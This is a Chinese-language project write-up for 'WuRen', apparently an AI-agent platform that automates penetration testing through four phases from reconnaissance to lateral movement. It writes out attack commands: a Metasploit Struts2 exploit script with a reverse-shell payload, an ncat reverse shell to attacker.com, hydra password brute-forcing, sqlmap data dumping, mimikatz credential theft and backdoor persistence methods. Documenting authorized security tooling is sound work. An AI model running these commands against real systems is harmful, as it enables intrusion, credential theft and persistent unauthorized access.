项目地址:https://github.com/JXJZJWHCM/WuRen-MVP
一、系统概述
雾刃(WuRen)是由玄坤信安科技公司开发的AI自动化渗透测试平台初代概念验证版(MVP)。其核心目标在于利用人工智能技术实现从外网打点到内网漫游的全流程自动化测试。该系统严格遵循标准的网络杀伤链(Cyber Kill Chain)模型,通过将大语言模型的推理能力与专业安全工具链相结合,旨在为安全团队提供一个智能化的安全评估解决方案。

系统主控台,展示核心功能模块与状态监控












1.1 设计
雾刃系统的核心设计理念围绕以下几个关键点展开:
- 认知驱动与证据为先:每一个攻击步骤都必须有明确的证据支撑,系统会避免进行盲目的、无意义的扫描,确保行动的针对性和可追溯性。
- P-E-R三角色分离框架:引入了规划者(Planner)、执行者(Executor)、审查者(Reviewer)三个角色协同工作的框架,使决策、执行与复核流程更加清晰和可靠。
- 因果图推理机制:基于因果推理进行智能决策,这种机制能够有效抑制大语言模型可能产生的“幻觉”(AI Hallucination),提升行动策略的逻辑性和成功率。
- 经验沉淀与知识复用:系统支持将历史成功案例中的策略与经验进行沉淀,并能够在后续任务中进行回溯和适应性调整,实现持续的自我优化。
二、系统架构
2.1 整体架构
┌─────────────────────────────────────────────────────────────┐
│ 用户交互层 (Web UI/API) │
└─────────────────────────────────────────────────────────────┘
│
┌─────────────────────────────────────────────────────────────┐
│ AI决策引擎 (LLM Core) │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ 规划Agent │ │ 执行Agent │ │ 审查Agent │ │
│ │ (Planner) │ │ (Executor) │ │ (Reviewer) │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
└─────────────────────────────────────────────────────────────┘
│
┌─────────────────────────────────────────────────────────────┐
│ 工具编排层 (MCP Protocol) │
│ 通过Model Context Protocol统一调用外部工具 │
└─────────────────────────────────────────────────────────────┘
│
┌─────────────────────────────────────────────────────────────┐
│ 安全工具层 (Tools Layer) │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ 网络扫描 │ │ Web扫描 │ │ 漏洞利用 │ │ 后渗透 │ │
│ │ 工具集 │ │ 工具集 │ │ 工具集 │ │ 工具集 │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
└─────────────────────────────────────────────────────────────┘
│
┌─────────────────────────────────────────────────────────────┐
│ 知识库层 (Knowledge Base) │
│ 漏洞库 │ 工具手册 │ 渗透经验 │ 证据截图 │ 报告模板 │
└─────────────────────────────────────────────────────────────┘
2.2 核心组件说明
| 组件 |
功能描述 |
技术实现 |
| AI决策引擎 |
任务分解、策略规划、结果分析 |
支持OpenAI、Claude、DeepSeek、Ollama等LLM |
| MCP协议层 |
标准化工具调用接口 |
Model Context Protocol |
| 工具执行器 |
封装各类安全工具,统一调用 |
Docker容器化隔离执行 |
| 知识管理 |
RAG检索增强生成,经验沉淀 |
向量数据库 + 知识图谱 |
| 证据收集 |
截图、日志、命令输出归档 |
自动化证据链管理 |
| 报告生成 |
结构化渗透测试报告输出 |
Markdown/PDF自动生成 |
三、渗透测试方法论
雾刃系统严格遵循以下四个阶段的标准作业程序(SOP),每个阶段都必须在完成并确认后,才能安全、有序地进入下一阶段。
3.1 第一阶段:信息收集 (Reconnaissance)
目标:尽可能全面地收集目标资产、网络拓扑、技术栈等信息,为后续分析攻击面和制定策略做好准备。
3.1.1 主机与端口发现
工具推荐:
nmap (首选综合扫描器)
masscan (快速端口扫描)
rustscan (极速扫描)
arp-scan (本地网络发现)
执行动作:
主机发现:
- 使用 nmap -sn 进行Ping扫描
- 使用 arp-scan 进行内网主机发现
端口发现:
- 初步扫描: nmap -sS -T4 -F (快速模式,前100个端口)
- 深度扫描: nmap -sV -sC -p- (全端口服务识别)
- 极速扫描: rustscan -a target --- -sV
3.1.2 Web资产枚举
工具推荐:
subfinder (子域名枚举)
amass (深度子域名挖掘)
gobuster / feroxbuster (目录爆破)
nikto (Web漏洞扫描)
httpx (存活探测)
执行动作:
子域名枚举:
- subfinder -d example.com -all
- amass enum -d example.com
目录扫描:
- gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
- feroxbuster -u http://target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
综合扫描:
- nikto -h http://target -Tuning x
3.1.3 网空情报收集
工具推荐:
fofa_search (FOFA网络空间搜索引擎)
zoomeye_search (ZoomEye网络空间搜索引擎)
执行动作:
- 被动收集目标在互联网上的暴露资产
- 识别关联IP、域名、服务指纹
3.1.4 证据收集规范
所有发现的HTTP服务首页必须进行截图:
截图要求:
- 登录页面: login_panel_[service].png
- 后台管理: admin_panel_[service].png
- 错误页面: error_page_[code].png
- 其他关键页面: 清晰描述性命名
3.2 第二阶段:漏洞利用 (Exploitation)
目标:在信息收集的基础上,识别具体的安全漏洞,并尝试利用这些漏洞来获取初步的访问权限。
3.2.1 通用漏洞扫描
工具推荐:
nuclei (模板化漏洞扫描 - 强烈推荐)
wpscan (WordPress专项扫描)
dalfox (XSS漏洞检测)
sqlmap (SQL注入检测)
执行动作:
Nuclei扫描:
- nuclei -u http://target -t nuclei-templates/
WordPress扫描:
- wpscan --url http://target --enumerate u,p,t,tt
XSS检测:
- dalfox url http://target/?param=value
SQL注入:
- sqlmap -u "http://target/?id=1" --batch --dump
3.2.2 服务漏洞利用
工具推荐:
metasploit (漏洞利用框架)
msfvenom (载荷生成)
searchsploit (漏洞库查询)
MSF使用规范:
- 查找模块:使用
search命令查找相关模块
- 选择模块:优先选择Rank为
Excellent或Great的模块
- 配置执行:使用资源脚本(.rc)确保稳定性和可复现性
- 验证结果:通过
sessions -l和sessions -i -1 -C "whoami"验证
示例资源脚本:
# exploit.rc
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS 192.168.1.100
set RPORT 8080
set TARGETURI /struts2-showcase/
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j-z
sleep 10
sessions -l
sessions -i -1 -C "whoami"
exit -y
3.2.3 弱口令爆破
工具推荐:
hydra (在线服务爆破)
hashcat (离线哈希破解)
john (密码破解)
执行动作:
SSH爆破:
- hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/rockyou.txt ssh://target
FTP爆破:
- hydra -l admin -P /usr/share/wordlists/fasttrack.txt ftp://target
RDP爆破:
- hydra -L users.txt -P passwords.txt rdp://target
字典路径规范:
- 密码字典:
/usr/share/wordlists/rockyou.txt
- 用户字典:
/usr/share/wordlists/metasploit/unix_users.txt
- Web目录:
/usr/share/wordlists/dirb/common.txt
3.3 第三阶段:权限维持 (Persistence)
目标:在成功利用漏洞获得初始立足点后,采取措施维持访问权限,避免因目标系统重启、补丁修复等原因而失去控制权。
3.3.1 本地信息收集
工具推荐:
linpeas (Linux本地提权枚举 - 必跑)
winpeas (Windows本地提权枚举)
impacket (远程执行与凭证利用)
执行动作:
Linux提权枚举:
- 上传并执行 linpeas.sh
- 分析SUID文件、计划任务、内核漏洞
Windows提权枚举:
- 上传并执行 winPEAS.exe
- 分析服务权限、注册表、补丁情况
3.3.2 凭证获取
优先提取位置:
- 配置文件中的硬编码密码
- 历史命令记录 (.bash_history)
- 服务配置文件
- 内存中的凭证/票据 (mimikatz)
- 浏览器保存的密码
3.3.3 持久化后门
方法:
- WebShell上传
- 计划任务创建
- 后门用户创建
- 服务注册
3.3.4 隧道建立
工具推荐:
ssh (端口转发/隧道)
ncat (反弹Shell/数据传输)
执行动作:
SSH反向隧道:
- ssh -R 8080:localhost:80 user@attacker.com
NCAT反弹Shell:
- 攻击端: ncat -lvnp 4444
- 目标端: ncat attacker.com 4444 -e /bin/bash
3.4 第四阶段:内网横向 (Lateral Movement)
目标:以已控制的机器为跳板,探测和攻击内网中的其他主机,扩大战果,最终可能触及核心数据或系统。
3.4.1 内网探测
工具推荐:
nmap (静态编译版或代理)
arp-scan (邻居发现)
fscan (内网综合扫描)
执行动作:
内网主机发现:
- arp-scan -l
端口扫描:
- nmap -sS -T4 10.0.0.0/24
3.4.2 中间人攻击
工具推荐:
responder (LLMNR/NBT-NS毒化)
impacket (横向移动工具集)
执行动作:
- 运行Responder监听内网,截获NetNTLM哈希
- 使用impacket的psexec/smbexec/wmiexec进行横向移动
3.4.3 域环境分析
工具推荐:
bloodhound (Active Directory关系分析)
impacket (域凭证操作)
执行动作:
- 收集域内信息并导入BloodHound
- 分析攻击路径(最短路径、高价值目标)
四、AI集成与自动化
4.1 LLM集成方案
雾刃系统支持多种大语言模型接入,以适应不同场景和隐私要求:
| 模型类型 |
提供商 |
适用场景 |
| 云端API |
OpenAI GPT-4/Claude 3.5 |
复杂推理、报告生成 |
| 云端API |
DeepSeek |
代码分析、漏洞解释 |
| 本地部署 |
Ollama (Llama3/Mistral) |
数据隐私要求高场景 |
4.2 MCP协议集成
通过Model Context Protocol (MCP)实现AI与工具的标准化、安全交互:
MCP工具调用规范:
- 统一入口: run_tool(name="tool_name", args={...})
- 工具发现: list_tools_catalog()
- 参数查询: get_tool_info(tool_name)
- 执行超时: 默认15分钟
4.3 智能决策流程
用户输入目标 → AI分解任务 → 选择工具 → 执行扫描 →
分析结果 → 决策下一步 → 循环直至完成 → 生成报告
4.4 知识库与自学习
内置知识库(data/knowledge, data/skills, data/vulndb):
- 渗透测试手册
- 工具使用指南
- 漏洞利用方法
- 历史案例经验
自学习机制:
- 搜索:使用
web_search查找最新CVE/Exploit
- 学习:分析攻击原理与Payload
- 保存:使用
add_knowledge沉淀到本地知识库
- 复用:下次直接通过
search_knowledge检索
五、工具参数速查表
5.1 Nmap
- Target: 位置参数,不需要
-u或--target
- Ports:
ports参数 (对应-p)
- Scan Type:
scan_type (如-sV, -sC)
- 示例:
nmap(target="192.168.1.1", ports="80,443", scan_type="-sV -sC")
5.2 SQLMap
- URL:
url参数 (对应-u),必须包含http://或https://
- Batch: 始终设置
batch=True
- 示例:
sqlmap(url="http://example.com?id=1", batch=True)
5.3 Gobuster
- Mode: 第一个位置参数,
dir(目录)或dns(子域名)
- Target:
url参数 (对应-u)
- Wordlist:
wordlist参数 (对应-w)
- 示例:
gobuster(mode="dir", url="http://example.com", wordlist="/usr/share/wordlists/dirb/common.txt")
5.4 Hydra
- Target: 位置参数0 (IP)
- Service: 位置参数1 (如
ssh, ftp)
- User/Pass:
username(-l)/password(-p)或username_file(-L)/password_file(-P)
- 示例:
hydra(target="192.168.1.1", service="ssh", username="root", password_file="/usr/share/wordlists/rockyou.txt")
5.5 Nuclei
- Target:
target参数 (对应-u)
- 示例:
nuclei(target="http://example.com")
- 核心原则: 模块化框架,需指定Module、Payload和Options
- 工作流: search → use → set → exploit → sessions验证 → exit
- 防卡死: 所有.rc脚本末尾必须添加
exit -y
六、部署与使用
6.1 环境要求
- 操作系统: Linux (推荐Kali Linux/Ubuntu)
- Docker: 用于工具隔离执行
- Python: 3.8+
- 内存: 建议8GB+
- 磁盘: 建议50GB+
6.2 快速部署
# 克隆[开源项目](https://yunpan.plus/f/39-1)仓库
git clone https://github.com/JXJZJWHCM/WuRen-MVP.git
cd WuRen-MVP
# 创建虚拟环境
python -m venv venv
# 下载依赖
.\venv\Scripts\pip install -r requirements.txt
# 访问Web界面
.\venv\Scripts\python -m src.main
# 默认地址: http://localhost:8000
6.3 基本使用流程
- 创建项目: 输入目标范围、授权信息
- 启动扫描: AI自动执行四阶段渗透测试
- 监控进度: 实时查看执行日志与中间结果
- 审查证据: 查看自动收集的截图、命令输出
- 生成报告: 导出标准化渗透测试报告